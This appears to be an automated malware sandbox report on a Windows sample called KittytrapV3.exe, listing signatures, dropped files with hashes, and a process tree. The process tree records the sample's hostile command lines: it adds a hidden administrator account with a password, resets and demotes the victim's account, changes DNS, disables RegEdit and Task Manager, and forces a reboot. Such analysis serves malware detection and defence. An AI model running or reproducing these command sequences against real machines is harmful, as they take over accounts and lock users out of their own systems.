Resubmissions

02/08/2026, 20:53

260802-zpsslsff23

02/08/2026, 20:32

260802-zbk6lsfd559

02/08/2026, 20:08

260802-ywqq6a1dlf9

Analysis

  • user interaction
    yes
  • max time kernel
    8s
  • max time network
    23s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/08/2026, 20:32

Errors

Reason
Machine shutdown

General

  • Target
    KittytrapV3.exe
  • Size 95.7MB
  • Sample260802-zbk6lsfd55
  • SHA256 8531e82a9d4ca8a0f08d678b680695292585ef8fcfd334850601ab1a628a34a0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Loads dropped DLL 18 IoCs
  • Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

    A user account was hidden or made visible on the Windows login screen through a registry modification.

  • Unexpected DNS network traffic destination 4 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 4 IoCs
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Modifies Control Panel 2 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • System policy modification 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\KittytrapV3.exe
    "C:\Users\Admin\AppData\Local\Temp\KittytrapV3.exe"
    1⤵
    • Disables RegEdit via registry modification
    • Loads dropped DLL
    • Modifies visibility of existing users in the login screen
    • Modifies WinLogon
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2212
    • C:\Program Files\Windows Media Player\wmplayer.exe
      "C:\Program Files\Windows Media Player\wmplayer.exe" /fullscreen "C:\Users\Admin\AppData\Local\Temp\intro.mp4"
      2⤵
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2588
      • C:\Windows\System32\unregmp2.exe
        "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
        3⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        PID:5028
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c net user KittyOwner /add
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3668
      • C:\Windows\system32\net.exe
        net user KittyOwner /add
        3⤵
        • Creates a new local user account
        • Suspicious use of WriteProcessMemory
        PID:512
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user KittyOwner /add
          4⤵
          • Creates a new local user account
          PID:4212
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c net user KittyOwner mPov8jE3Ao0ZLaPN
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\system32\net.exe
        net user KittyOwner mPov8jE3Ao0ZLaPN
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user KittyOwner mPov8jE3Ao0ZLaPN
          4⤵
            PID:872
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net localgroup "Administrators" KittyOwner /add
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2232
        • C:\Windows\system32\net.exe
          net localgroup "Administrators" KittyOwner /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4604
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Administrators" KittyOwner /add
            4⤵
              PID:1388
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user "Admin" 123
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1488
          • C:\Windows\system32\net.exe
            net user "Admin" 123
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2516
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user "Admin" 123
              4⤵
                PID:5032
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user "Admin" /passwordchg:yes /expires:never
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2028
            • C:\Windows\system32\net.exe
              net user "Admin" /passwordchg:yes /expires:never
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2744
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user "Admin" /passwordchg:yes /expires:never
                4⤵
                  PID:3100
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user "Admin" /active:yes
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4352
              • C:\Windows\system32\net.exe
                net user "Admin" /active:yes
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4204
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user "Admin" /active:yes
                  4⤵
                    PID:4452
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c net localgroup "Administrators" "Admin" /delete
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2240
                • C:\Windows\system32\net.exe
                  net localgroup "Administrators" "Admin" /delete
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3688
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup "Administrators" "Admin" /delete
                    4⤵
                      PID:3772
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c net localgroup "Users" "Admin" /add
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3408
                  • C:\Windows\system32\net.exe
                    net localgroup "Users" "Admin" /add
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4312
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup "Users" "Admin" /add
                      4⤵
                        PID:1576
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c netsh interface ip set dns name=Ethernet source=static addr=1.1.1.3
                    2⤵
                    • Executes a command shell one-liner
                    PID:4956
                    • C:\Windows\system32\netsh.exe
                      netsh interface ip set dns name=Ethernet source=static addr=1.1.1.3
                      3⤵
                        PID:696
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /c netsh interface ipv6 set dns name=Ethernet source=static addr=2606:4700:4700::1113
                      2⤵
                      • Executes a command shell one-liner
                      PID:5096
                      • C:\Windows\system32\netsh.exe
                        netsh interface ipv6 set dns name=Ethernet source=static addr=2606:4700:4700::1113
                        3⤵
                          PID:4644
                      • C:\Windows\SYSTEM32\cmd.exe
                        "cmd.exe" /c shutdown /r /t 0 /f
                        2⤵
                        • Executes a command shell one-liner
                        PID:5080
                        • C:\Windows\system32\shutdown.exe
                          shutdown /r /t 0 /f
                          3⤵
                            PID:760
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                        1⤵
                        • Drops file in Windows directory
                        PID:2324
                      • C:\Windows\system32\LogonUI.exe
                        "LogonUI.exe" /flags:0x4 /state0:0xa391c855 /state1:0x41c64e6d
                        1⤵
                          PID:3316

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              CurrentDatabase_400.wmdb

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                              • Size 896KB
                              • SHA256 6b4d027c0f39a9a91cafe97caa0b954cd7a8ddd8f39703f5a0fdf1bb432b38e4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              CurrentDatabase_400.wmdb

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                              • Size 1024KB
                              • SHA256 b06b3aa49d8a90988e0ade92a5b4f2299a043a0338f9ed547183fd55a95d2171
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              WMSDKNS.XML

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
                              • Size 9KB
                              • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Kittytrap.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\Kittytrap.dll
                              • Size 25.1MB
                              • SHA256 3193e475acd232716cae86ae9e731ca3f50743c43618629e605d7f669a312ff1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Microsoft.Win32.Registry.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\Microsoft.Win32.Registry.dll
                              • Size 114KB
                              • SHA256 31f5a1cb2046a26c7be2e3a0a18770d8445f0c9d7213ed7365a8403fcca77ab5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Collections.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Collections.dll
                              • Size 290KB
                              • SHA256 11de530ddce2c99a0be5fcefa0e040062860cd41824834f42e06761a949af957
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.ComponentModel.Primitives.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.ComponentModel.Primitives.dll
                              • Size 78KB
                              • SHA256 85485dd7639c9449b7d90e305e66612bcd46d14bfb2c216eb6b5c1572ddec1c4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Diagnostics.Process.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Diagnostics.Process.dll
                              • Size 322KB
                              • SHA256 786e7825067b48fd2cb9e10b1c971f547a0e83814a1a9b7951b8b64ca1e0b808
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Linq.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Linq.dll
                              • Size 682KB
                              • SHA256 5e36874e08bb3579aba965097ac9d3b2462ac5d631e8b095ead53289b10074e8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Memory.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Memory.dll
                              • Size 158KB
                              • SHA256 a8e1263bfb450d029562302f3784fd91106d8c67f28008a5104faf91503bba3e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Net.NetworkInformation.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Net.NetworkInformation.dll
                              • Size 154KB
                              • SHA256 8a0e7156004e255b7f94d397bfb3f646c3fd0f8c3a286d3f7005ef49da453750
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Net.Primitives.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Net.Primitives.dll
                              • Size 206KB
                              • SHA256 92639fa57d6ea7bbcbd47f5d108a615cafc75929f5dddda25ceae33db60e959c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Private.CoreLib.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.CoreLib.dll
                              • Size 15.3MB
                              • SHA256 bb9a91b896447b666487d7c6538d0e1a79dbed3604ed913315a59a7c0ec6e7c6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Private.Xml.Linq.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.Xml.Linq.dll
                              • Size 382KB
                              • SHA256 c028f975e4c4487a6266efe93106b17ed0e1020a1ef802efb2c971a7cabb2ad1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Private.Xml.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.Xml.dll
                              • Size 7.4MB
                              • SHA256 9380bd61bfb15a0066cbf5c10f9a50729c8020d72c84a8eb37fb0074c582b392
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Runtime.InteropServices.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Runtime.InteropServices.dll
                              • Size 110KB
                              • SHA256 500ba5ed075420e8d6857bf38c79708a062f855d1ce87d505b3f1df9357806c6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Security.Claims.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Claims.dll
                              • Size 98KB
                              • SHA256 a57dc1dfd3d2cb774e517e826c05d3e81098d09cee868de4104cf6f1a8a7c4c5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Security.Cryptography.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Cryptography.dll
                              • Size 2.4MB
                              • SHA256 b11f291573c6dbd6b3d1cadcd0e7a4f7eced94ff009e4061981d91f1315f721a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Security.Principal.Windows.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Principal.Windows.dll
                              • Size 174KB
                              • SHA256 972a50bb0fb2569e1b77c20465ce8783fc53dba9c2132a33a749ef72977a4c23
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              System.Threading.dll

                              • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Threading.dll
                              • Size 82KB
                              • SHA256 7175ac06b5908412692d2c2e124cb79f58aaee61ade19bb81118d14a92bb7694
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              intro.mp4

                              • Path C:\Users\Admin\AppData\Local\Temp\intro.mp4
                              • Size 19.4MB
                              • SHA256 c4ff48a58f4c30d7c69d8e8f4271dda1a9738c452836c0687f56e3d185f44b22
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2588-259-0x00000265DADE0000-0x00000265DB509000-memory.dmp